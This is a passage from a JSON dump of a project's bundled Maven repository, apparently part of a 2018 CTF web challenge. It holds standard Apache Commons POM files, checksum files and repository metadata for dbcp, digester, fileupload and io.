</configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-pmd-plugin</artifactId>\n          <version>2.4</version>\n          <configuration>\n            <rulesets>\n              <ruleset>checkstyle.xml</ruleset>\n            </rulesets>\n            <targetJdk>${maven.compile.target}</targetJdk>\n          </configuration>\n        </plugin>\n        <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>clirr-maven-plugin</artifactId>\n        <version>2.2.2</version>\n        <configuration>\n          <comparisonVersion>1.2.2</comparisonVersion>\n          <minSeverity>info</minSeverity>\n        </configuration>\n      </plugin>\n      </plugins>\n    </reporting>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-dbcp/commons-dbcp/1.4/commons-dbcp-1.4.pom.sha1",
    "content": "c8313cb1e307b5aacb08d0fdb1038b17d1cade99"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-digester/commons-digester/1.6/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:01:24 CST 2018\ncommons-digester-1.6.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-digester/commons-digester/1.6/commons-digester-1.6.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>commons-digester</groupId>\n  <artifactId>commons-digester</artifactId>\n  <version>1.6</version>\n  <dependencies>\n    <dependency> \n      <groupId>commons-beanutils</groupId>\n      <artifactId>commons-beanutils</artifactId>\n      <version>1.6</version>\n    </dependency>\n    <dependency> \n      <groupId>commons-logging</groupId>\n      <artifactId>commons-logging</artifactId>\n      <version>1.0</version>\n    </dependency>\n    <dependency> \n      <groupId>commons-collections</groupId> \n      <artifactId>commons-collections</artifactId>\n      <version>2.1</version> \n    </dependency> \n    <dependency>\n      <groupId>xml-apis</groupId>\n      <artifactId>xml-apis</artifactId>\n      <version>1.0.b2</version>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-digester/commons-digester/1.6/commons-digester-1.6.pom.sha1",
    "content": "807b7186d68503e8a596c19f9d6ff2c70416967c"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-digester/commons-digester/1.8/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\ncommons-digester-1.8.jar>central=\ncommons-digester-1.8.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-digester/commons-digester/1.8/commons-digester-1.8.jar.sha1",
    "content": "dc6a73fdbd1fa3f0944e8497c6c872fa21dca37e  -\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-digester/commons-digester/1.8/commons-digester-1.8.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>commons-digester</groupId>\n  <artifactId>commons-digester</artifactId>\n  <name>Digester</name>\n  <version>1.8</version>\n  <description>The Digester package lets you configure an XML->Java object mapping module\n    which triggers certain actions called rules whenever a particular \n    pattern of nested XML elements is recognized.</description>\n  <url>http://jakarta.apache.org/commons/digester/</url>\n  <issueManagement>\n    <url>http://issues.apache.org/jira/</url>\n  </issueManagement>\n  <ciManagement>\n    <notifiers>\n      <notifier>\n        <configuration>\n          <address>commons-dev@jakarta.apache.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <inceptionYear>2001</inceptionYear>\n  <mailingLists>\n    <mailingList>\n      <name>Commons Dev List</name>\n      <subscribe>commons-dev-subscribe@jakarta.apache.org</subscribe>\n      <unsubscribe>commons-dev-unsubscribe@jakarta.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/jakarta-commons-dev/</archive>\n    </mailingList>\n    <mailingList>\n      <name>Commons User List</name>\n      <subscribe>commons-user-subscribe@jakarta.apache.org</subscribe>\n      <unsubscribe>commons-user-unsubscribe@jakarta.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/jakarta-commons-user/</archive>\n    </mailingList>\n  </mailingLists>\n  <developers>\n    <developer>\n      <id>craigmcc</id>\n      <name>Craig McClanahan</name>\n      <email>craigmcc@apache.org</email>\n      <organization>Sun Microsystems</organization>\n    </developer>\n    <developer>\n      <id>rdonkin</id>\n      <name>Robert Burrell Donkin</name>\n      <email>rdonkin@apache.org</email>\n    </developer>\n    <developer>\n      <id>sanders</id>\n      <name>Scott Sanders</name>\n      <email>sanders@totalsync.com</email>\n    </developer>\n    <developer>\n      <id>jstrachan</id>\n      <name>James Strachan</name>\n      <email>jstrachan@apache.org</email>\n    </developer>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <email>jvanzyl@apache.org</email>\n    </developer>\n    <developer>\n      <id>tobrien</id>\n      <name>Tim OBrien</name>\n      <email>tobrien@apache.org</email>\n    </developer>\n    <developer>\n      <id>jfarcand</id>\n      <name>Jean-Francois Arcand</name>\n      <email>jfarcand@apache.org</email>\n    </developer>\n    <developer>\n      <id>skitching</id>\n      <name>Simon Kitching</name>\n      <email>skitching@apache.org</email>\n    </developer>\n    <developer>\n      <id>rahul</id>\n      <name>Rahul Akolkar</name>\n      <email>rahul AT apache DOT org</email>\n    </developer>\n  </developers>\n  <contributors>\n    <contributor>\n      <name>Bradley M. Handy</name>\n      <email>bhandy@users.sf.net</email>\n    </contributor>\n    <contributor>\n      <name>Christopher Lenz</name>\n      <email></email>\n    </contributor>\n    <contributor>\n      <name>Ted Husted</name>\n      <email></email>\n    </contributor>\n    <contributor>\n      <name>David H. Martin</name>\n      <email></email>\n    </contributor>\n    <contributor>\n      <name>Henri Chen</name>\n      <email></email>\n    </contributor>\n    <contributor>\n      <name>Janek Bogucki</name>\n      <email></email>\n    </contributor>\n    <contributor>\n      <name>Mark Huisman</name>\n      <email></email>\n    </contributor>\n    <contributor>\n      <name>Paul Jack</name>\n      <email></email>\n    </contributor>\n    <contributor>\n      <name>Anton Maslovsky</name>\n      <email></email>\n    </contributor>\n    <contributor>\n      <name>Matt Cleveland</name>\n      <email></email>\n    </contributor>\n    <contributor>\n      <name>Gabriele Carcassi</name>\n      <email></email>\n    </contributor>\n    <contributor>\n      <name>Wendy Smoak</name>\n      <email>java@wendysmoak.com</email>\n    </contributor>\n    <contributor>\n      <name>Kevin Ross</name>\n      <email>kevin.ross@iverticalleap.com</email>\n    </contributor>\n  </contributors>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>/LICENSE.txt</url>\n    </license>\n  </licenses>\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/jakarta/commons/proper/digester/trunk</connection>\n    <url>http://svn.apache.org/repos/asf/jakarta/commons/proper/digester/trunk</url>\n  </scm>\n  <organization>\n    <name>The Apache Software Foundation</name>\n    <url>http://jakarta.apache.org</url>\n  </organization>\n  <build>\n    <sourceDirectory>src/java</sourceDirectory>\n    <testSourceDirectory>src/test</testSourceDirectory>\n    <resources>\n      <resource>\n        <directory>${pom.build.sourceDirectory}</directory>\n        <includes>\n          <include>**/*.dtd</include>\n        </includes>\n      </resource>\n    </resources>\n    <testResources>\n      <testResource>\n        <directory>${pom.build.unitTestSourceDirectory}</directory>\n        <includes>\n          <include>**/*.xml</include>\n        </includes>\n      </testResource>\n      <testResource>\n        <directory>${pom.build.sourceDirectory}</directory>\n        <includes>\n          <include>**/*.dtd</include>\n        </includes>\n      </testResource>\n    </testResources>\n    <plugins>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <includes>\n            <include>**/*Test.java</include>\n            <include>**/*TestCase.java</include>\n          </includes>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-xdoc-plugin</artifactId>\n        <version>1.9.2</version>\n        <configuration>\n          <comment>&lt;strong>Site Only&lt;/strong> - v1.9.2 (minimum)\n              required for building the Digester Site documentation.</comment>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>commons-beanutils</groupId>\n      <artifactId>commons-beanutils</artifactId>\n      <version>1.7.0</version>\n    </dependency>\n    <dependency>\n      <groupId>commons-logging</groupId>\n      <artifactId>commons-logging</artifactId>\n      <version>1.1</version>\n    </dependency>\n    <dependency>\n      <groupId>xml-apis</groupId>\n      <artifactId>xml-apis</artifactId>\n      <version>1.0.b2</version>\n      <scope>provided</scope>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n  <distributionManagement>\n    <repository>\n      <id>default</id>\n      <name>Default Repository</name>\n      <url>file:///www/jakarta.apache.org/builds/jakarta-commons/digester/</url>\n    </repository>\n    <site>\n      <id>default</id>\n      <name>Default Site</name>\n      <url>scp://people.apache.org//www/jakarta.apache.org/commons/digester/</url>\n    </site>\n    <status>converted</status>\n  </distributionManagement>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-digester/commons-digester/1.8/commons-digester-1.8.pom.sha1",
    "content": "ceb07daf87a43ec66829fcd8c23a40aead5a4b40  -\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-fileupload/commons-fileupload/1.3.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:04 CST 2018\ncommons-fileupload-1.3.1.jar>central=\ncommons-fileupload-1.3.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-fileupload/commons-fileupload/1.3.1/commons-fileupload-1.3.1.jar.sha1",
    "content": "c621b54583719ac0310404463d6d99db27e1052c"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-fileupload/commons-fileupload/1.3.1/commons-fileupload-1.3.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n Licensed to the Apache Software Foundation (ASF) under one or more\n contributor license agreements.  See the NOTICE file distributed with\n this work for additional information regarding copyright ownership.\n The ASF licenses this file to You under the Apache License, Version 2.0\n (the \"License\"); you may not use this file except in compliance with\n the License.  You may obtain a copy of the License at\n\n      http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.commons</groupId>\n    <artifactId>commons-parent</artifactId>\n    <version>32</version>\n  </parent>\n\n  <groupId>commons-fileupload</groupId>\n  <artifactId>commons-fileupload</artifactId>\n  <version>1.3.1</version>\n\n  <name>Apache Commons FileUpload</name>\n  <description>\n    The Apache Commons FileUpload component provides a simple yet flexible means of adding support for multipart\n    file upload functionality to servlets and web applications.\n  </description>\n  <url>http://commons.apache.org/proper/commons-fileupload/</url>\n  <inceptionYear>2002</inceptionYear>\n\n  <developers>\n    <developer>\n      <name>Martin Cooper</name>\n      <id>martinc</id>\n      <email>martinc@apache.org</email>\n      <organization>Yahoo!</organization>\n    </developer>\n    <developer>\n      <name>dIon Gillard</name>\n      <id>dion</id>\n      <email>dion@apache.org</email>\n      <organization>Multitask Consulting</organization>\n    </developer>\n    <developer>\n      <name>John McNally</name>\n      <id>jmcnally</id>\n      <email>jmcnally@collab.net</email>\n      <organization>CollabNet</organization>\n    </developer>\n    <developer>\n      <name>Daniel Rall</name>\n      <id>dlr</id>\n      <email>dlr@finemaltcoding.com</email>\n      <organization>CollabNet</organization>\n    </developer>\n    <developer>\n      <name>Jason van Zyl</name>\n      <id>jvanzyl</id>\n      <email>jason@zenplex.com</email>\n      <organization>Zenplex</organization>\n    </developer>\n    <developer>\n      <name>Robert Burrell Donkin</name>\n      <id>rdonkin</id>\n      <email>rdonkin@apache.org</email>\n      <organization />\n    </developer>\n    <developer>\n      <name>Sean C. Sullivan</name>\n      <id>sullis</id>\n      <email>sean |at| seansullivan |dot| com</email>\n      <organization />\n    </developer>\n    <developer>\n      <name>Jochen Wiedmann</name>\n      <id>jochen</id>\n      <email>jochen.wiedmann@gmail.com</email>\n      <organization />\n    </developer>\n    <developer>\n      <name>Simone Tripodi</name>\n      <id>simonetripodi</id>\n      <email>simonetripodi@apache.org</email>\n      <organization>Adobe</organization>\n    </developer>\n    <developer>\n      <name>Gary Gregory</name>\n      <id>ggregory</id>\n      <email>ggregory@apache.org</email>\n      <organization />\n    </developer>\n  </developers>\n\n  <contributors>\n    <contributor>\n      <name>Aaron Freeman</name>\n      <email>aaron@sendthisfile.com</email>\n    </contributor>\n    <contributor>\n      <name>Daniel Fabian</name>\n      <email>dfabian@google.com</email>\n    </contributor>\n    <contributor>\n      <name>Jörg Heinicke</name>\n      <email>joerg.heinicke@gmx.de</email>\n    </contributor>\n    <contributor>\n      <name>Stepan Koltsov</name>\n      <email>yozh@mx1.ru</email>\n    </contributor>\n    <contributor>\n      <name>Michael Macaluso</name>\n      <email>michael.public@wavecorp.com</email>\n    </contributor>\n    <contributor>\n      <name>Amichai Rothman</name>\n      <email>amichai2@amichais.net</email>\n    </contributor>\n    <contributor>\n      <name>Alexander Sova</name>\n      <email>bird@noir.crocodile.org</email>\n    </contributor>\n    <contributor>\n      <name>Paul Spurr</name>\n      <email>pspurr@gmail.com</email>\n    </contributor>\n    <contributor>\n      <name>Thomas Vandahl</name>\n      <email>tv@apache.org</email>\n    </contributor>\n    <contributor>\n      <name>Henry Yandell</name>\n      <email>bayard@apache.org</email>\n    </contributor>\n    <contributor>\n      <name>Jan Novotný</name>\n      <email>novotnaci@gmail.com</email>\n    </contributor>\n    <contributor>\n      <name>frank</name>\n      <email>mailsurfie@gmail.com</email>\n    </contributor>\n    <contributor>\n      <name>Rafal Krzewski</name>\n      <email>Rafal.Krzewski@e-point.pl</email>\n    </contributor>\n    <contributor>\n      <name>Sean Legassick</name>\n      <email>sean@informage.net</email>\n    </contributor>\n    <contributor>\n      <name>Oleg Kalnichevski</name>\n      <email>oleg@ural.ru</email>\n    </contributor>\n    <contributor>\n      <name>David Sean Taylor</name>\n      <email>taylor@apache.org</email>\n    </contributor>\n  </contributors>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/commons/proper/fileupload/trunk</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/commons/proper/fileupload/trunk</developerConnection>\n    <url>http://svn.apache.org/viewvc/commons/proper/fileupload/trunk</url>\n  </scm>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://issues.apache.org/jira/browse/FILEUPLOAD</url>\n  </issueManagement>\n\n  <properties>\n    <maven.compiler.source>1.5</maven.compiler.source>\n    <maven.compiler.target>1.5</maven.compiler.target>\n    <maven.compile.encoding>ISO-8859-1</maven.compile.encoding>\n    <commons.componentid>fileupload</commons.componentid>\n    <commons.release.version>1.3.1</commons.release.version>\n    <commons.rc.version>RC1</commons.rc.version>\n    <commons.jira.id>FILEUPLOAD</commons.jira.id>\n    <commons.jira.pid>12310476</commons.jira.pid>\n    <commons.osgi.export>!org.apache.commons.fileupload.util.mime,org.apache.commons.*;version=${project.version};-noimport:=true</commons.osgi.export>\n    <commons.osgi.import>!javax.portlet,*</commons.osgi.import>\n    <commons.osgi.dynamicImport>javax.portlet</commons.osgi.dynamicImport>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>4.11</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>javax.servlet</groupId>\n      <artifactId>servlet-api</artifactId>\n      <version>2.4</version>\n      <scope>provided</scope>\n    </dependency>\n    <dependency>\n      <groupId>portlet-api</groupId>\n      <artifactId>portlet-api</artifactId>\n      <version>1.0</version>\n      <scope>provided</scope>\n    </dependency>\n    <dependency>\n      <groupId>commons-io</groupId>\n      <artifactId>commons-io</artifactId>\n      <version>2.2</version>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-assembly-plugin</artifactId>\n        <configuration>\n          <descriptors>\n            <descriptor>${basedir}/src/main/assembly/bin.xml</descriptor>\n            <descriptor>${basedir}/src/main/assembly/src.xml</descriptor>\n          </descriptors>\n          <tarLongFileMode>gnu</tarLongFileMode>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-release-plugin</artifactId>\n        <configuration>\n          <preparationGoals>clean site verify</preparationGoals>\n          <goals>deploy</goals>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-changes-plugin</artifactId>\n        <version>${commons.changes.version}</version>\n        <configuration>\n          <issueLinkTemplate>%URL%/../%ISSUE%</issueLinkTemplate>\n        </configuration>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>changes-report</report>\n              <!--  NPE, retry from time to time <report>jira-report</report>  -->\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-checkstyle-plugin</artifactId>\n        <version>2.10</version>\n        <configuration>\n          <configLocation>${basedir}/src/checkstyle/fileupload_checks.xml</configLocation>\n          <suppressionsLocation>${basedir}/src/checkstyle/checkstyle-suppressions.xml</suppressionsLocation>\n          <enableRulesSummary>false</enableRulesSummary>\n          <headerLocation>${basedir}/src/checkstyle/license-header.txt</headerLocation>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-pmd-plugin</artifactId>\n        <version>2.7.1</version>\n        <configuration>\n          <targetJdk>${maven.compiler.target}</targetJdk>\n          <rulesets>\n            <ruleset>${basedir}/src/checkstyle/fileupload_basic.xml</ruleset>\n          </rulesets>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>clirr-maven-plugin</artifactId>\n        <version>${commons.clirr.version}</version>\n        <configuration>\n          <comparisonArtifacts>\n            <comparisonArtifact>\n              <groupId>commons-fileupload</groupId>\n              <artifactId>commons-fileupload</artifactId>\n              <version>1.3</version>\n            </comparisonArtifact>\n          </comparisonArtifacts>\n        </configuration>\n      </plugin>\n    </plugins>\n  </reporting>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-fileupload/commons-fileupload/1.3.1/commons-fileupload-1.3.1.pom.sha1",
    "content": "909928bd37f1bf2accb0ec2c37252a540671b332"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-io/commons-io/1.4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:08 CST 2018\ncommons-io-1.4.jar>central=\ncommons-io-1.4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-io/commons-io/1.4/commons-io-1.4.jar.sha1",
    "content": "a8762d07e76cfde2395257a5da47ba7c1dbd3dce"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-io/commons-io/1.4/commons-io-1.4.pom",
    "content": "<?xml version=\"1.0\"?>\n<!--\n   Licensed to the Apache Software Foundation (ASF) under one or more\n   contributor license agreements.  See the NOTICE file distributed with\n   this work for additional information regarding copyright ownership.\n   The ASF licenses this file to You under the Apache License, Version 2.0\n   (the \"License\"); you may not use this file except in compliance with\n   the License.  You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <groupId>org.apache.commons</groupId>\n    <artifactId>commons-parent</artifactId>\n    <version>7</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>commons-io</groupId>\n  <artifactId>commons-io</artifactId>\n  <version>1.4</version>\n  <name>Commons IO</name>\n\n  <inceptionYear>2002</inceptionYear>\n  <description>\n        Commons-IO contains utility classes, stream implementations, file filters, file comparators and endian classes.\n  </description>\n\n  <url>http://commons.apache.org/io/</url>\n\n  <issueManagement>\n    <system>jira</system>\n    <url>http://issues.apache.org/jira/browse/IO</url>\n  </issueManagement>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/commons/proper/io/trunk</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/commons/proper/io/trunk</developerConnection>\n    <url>http://svn.apache.org/viewvc/commons/proper/io/trunk</url>\n  </scm>\n\n  <developers>\n    <developer>\n      <name>Scott Sanders</name>\n      <id>sanders</id>\n      <email>sanders@apache.org</email>\n      <organization></organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>dIon Gillard</name>\n      <id>dion</id>\n      <email>dion@apache.org</email>\n      <organization></organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Nicola Ken Barozzi</name>\n      <id>nicolaken</id>\n      <email>nicolaken@apache.org</email>\n      <organization></organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Henri Yandell</name>\n      <id>bayard</id>\n      <email>bayard@apache.org</email>\n      <organization></organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Stephen Colebourne</name>\n      <id>scolebourne</id>\n      <organization></organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <developer>\n      <name>Jeremias Maerki</name>\n      <id>jeremias</id>\n      <email>jeremias@apache.org</email>\n      <organization/>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <name>Matthew Hawthorne</name>\n      <id>matth</id>\n      <email>matth@apache.org</email>\n      <organization/>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Martin Cooper</name>\n      <id>martinc</id>\n      <email>martinc@apache.org</email>\n      <organization/>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Rob Oxspring</name>\n      <id>roxspring</id>\n      <email>roxspring@apache.org</email>\n      <organization/>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Jochen Wiedmann</name>\n      <id>jochen</id>\n      <email>jochen.wiedmann@gmail.com</email>\n    </developer>\n    <developer>\n      <name>Niall Pemberton</name>\n      <id>niallp</id>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Jukka Zitting</name>\n      <id>jukka</id>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n  </developers>\n\n  <contributors>\n    <contributor>\n      <name>Rahul Akolkar</name>\n    </contributor>\n    <contributor>\n      <name>Jason Anderson</name>\n    </contributor>\n    <contributor>\n      <name>Nathan Beyer</name>\n    </contributor>\n    <contributor>\n      <name>Emmanuel Bourg</name>\n    </contributor>\n    <contributor>\n      <name>Chris Eldredge</name>\n    </contributor>\n    <contributor>\n      <name>Magnus Grimsell</name>\n    </contributor>\n    <contributor>\n      <name>Jim Harrington</name>\n    </contributor>\n    <contributor>\n      <name>Thomas Ledoux</name>\n    </contributor>\n    <contributor>\n      <name>Andy Lehane</name>\n    </contributor>\n    <contributor>\n      <name>Marcelo Liberato</name>\n    </contributor>\n    <contributor>\n      <name>Alban Peignier</name>\n      <email>alban.peignier at free.fr</email>\n    </contributor>\n    <contributor>\n      <name>Ian Springer</name>\n    </contributor>\n    <contributor>\n      <name>Masato Tezuka</name>\n    </contributor>\n    <contributor>\n      <name>James Urie</name>\n    </contributor>\n    <contributor>\n      <name>Frank W. Zammetti</name>\n    </contributor>\n  </contributors>\n\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <sourceDirectory>src/java</sourceDirectory>\n    <testSourceDirectory>src/test</testSourceDirectory>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n          <configuration>\n            <includes>\n              <include>**/*Test*</include>\n            </includes>\n            <excludes>\n              <exclude>**/*AbstractTestCase*</exclude>\n              <exclude>**/AllIOTestSuite*</exclude>\n              <exclude>**/PackageTestSuite*</exclude>\n              <exclude>**/testtools/**</exclude>\n\n              <!-- http://jira.codehaus.org/browse/SUREFIRE-44 -->\n              <exclude>**/*$*</exclude>\n            </excludes>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-assembly-plugin</artifactId>\n        <configuration>\n          <descriptors>\n            <descriptor>src/main/assembly/bin.xml</descriptor>\n            <descriptor>src/main/assembly/src.xml</descriptor>\n          </descriptors>\n          <tarLongFileMode>gnu</tarLongFileMode>\n        </configuration>\n      </plugin>\n\n      <plugin>\n        <artifactId>maven-jar-plugin</artifactId>\n        <configuration>\n          <archive>\n            <!--\n                 Configure OSGi bundle information\n                 (remove when maven bundle plugin is added to commons-parent pom)\n             -->\n            <manifestEntries>\n              <Bundle-SymbolicName>org.apache.commons.io</Bundle-SymbolicName>\n              <Bundle-License>http://www.apache.org/licenses/LICENSE-2.0.txt</Bundle-License>\n              <Bundle-ManifestVersion>2</Bundle-ManifestVersion>\n              <Bundle-Name>Apache Commons IO Bundle</Bundle-Name>\n              <Bundle-Vendor>${project.organization.name}</Bundle-Vendor>\n              <Bundle-Version>${project.version}</Bundle-Version>\n              <Export-Package>\norg.apache.commons.io;version=${project.version},\norg.apache.commons.io.comparator;version=${project.version},\norg.apache.commons.io.filefilter;version=${project.version},\norg.apache.commons.io.input;version=${project.version},\norg.apache.commons.io.output;version=${project.version}\n              </Export-Package>\n              <Import-Package>\norg.apache.commons.io;version=${project.version},\norg.apache.commons.io.comparator;version=${project.version},\norg.apache.commons.io.filefilter;version=${project.version},\norg.apache.commons.io.input;version=${project.version},\norg.apache.commons.io.output;version=${project.version}\n              </Import-Package>\n            </manifestEntries>\n          </archive>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>cobertura-maven-plugin</artifactId>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-changes-plugin</artifactId>\n        <version>2.0-beta-3</version>\n        <configuration>\n          <issueLinkTemplate>%URL%/../%ISSUE%</issueLinkTemplate>\n          <!--\n             JIRA Search parameters:\n                 - resolution=1 specifies \"Fixed\"\n                 - fixfor=12312101 specifies \"Commons IO version 1.4\"\n\n             If/when http://jira.codehaus.org/browse/MCHANGES-92\n             is fixed this will be easier/less messy\n           -->\n          <filter>&amp;&amp;resolution=1&amp;fixfor=12312101</filter>\n        </configuration>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>jira-report</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-checkstyle-plugin</artifactId>\n        <version>2.1</version>\n        <configuration>\n          <configLocation>checkstyle.xml</configLocation>\n          <enableRulesSummary>false</enableRulesSummary>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <version>2.3</version>\n        <configuration>\n          <source>1.4</source>\n          <links>\n            <link>http://java.sun.com/j2se/1.4.2/docs/api</link>\n          </links>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>clirr-maven-plugin</artifactId>\n        <version>2.1</version>\n        <configuration>\n          <comparisonVersion>1.3.2</comparisonVersion>\n          <minSeverity>info</minSeverity>\n        </configuration>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-site-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>site</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-antrun-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>run</goal>\n                </goals>\n                <phase>package</phase>\n                <configuration>\n                  <tasks>\n                    <copy todir=\"${project.build.directory}/site/api-release\">\n                      <fileset dir=\"${project.build.directory}/site/apidocs\"/>\n                    </copy>\n                  